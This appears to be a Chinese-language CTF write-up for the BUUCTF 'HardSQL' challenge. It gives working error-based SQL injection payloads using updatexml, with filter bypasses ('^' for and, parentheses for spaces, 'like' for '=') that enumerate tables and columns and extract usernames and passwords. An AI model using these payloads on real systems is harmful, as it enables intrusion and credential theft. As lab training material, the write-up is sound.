老常客了,进入后先用万能密码试试
发现这次过滤的很全,万能密码没有一个可以使用
双写绕过也不起作用
尝试报错注入(datexml和extractvalue两种,但是我看别人的wp都有,挺全的)
updatexml可参考:BUUCTF之HardSQL[极客大挑战 2019]_buuctf极客大挑战_金 帛的博客-CSDN博客
extractvalue可参考:
buuctf-[极客大挑战 2019]HardSQL(小宇特详解)_小宇特详解的博客-CSDN博客
我们先用updatexml试试
1'or (updatexml(1,concat(0x7e,database(),0x7e),1))or'
发现错误,应该有过滤
经过测试,至少and,空格,等于 等被过滤
那就用^代替and,用()代替空格,like代替等于号(如果还有需要代替的后面再说)
1'^(updatexml(1,concat(0x7e,database(),0x7e),1))or'
成功爆库,开始爆表
1'^(updatexml(1,(concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e)),1))or'
爆字段
1'^(updatexml(1,(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like('geek')),0x7e)),1))or'
爆数据
1'^(updatexml(1,(concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1)),0x7e)),1))or'
发现只有一半,因为只能输出32字符
我们可以用right函数来获取后面的字符
right(password,32) (可以换成30,因为后面还有个}和~,32只是因为没有影响就没改)
1'^(updatexml(1,(concat(0x7e,(select(group_concat(right(password,32)))from(geek.H4rDsq1)),0x7e)),1))or'
拼凑即可获得flag
flag{1e04e329-22c5-4636-a841-7a2fded6f7f0}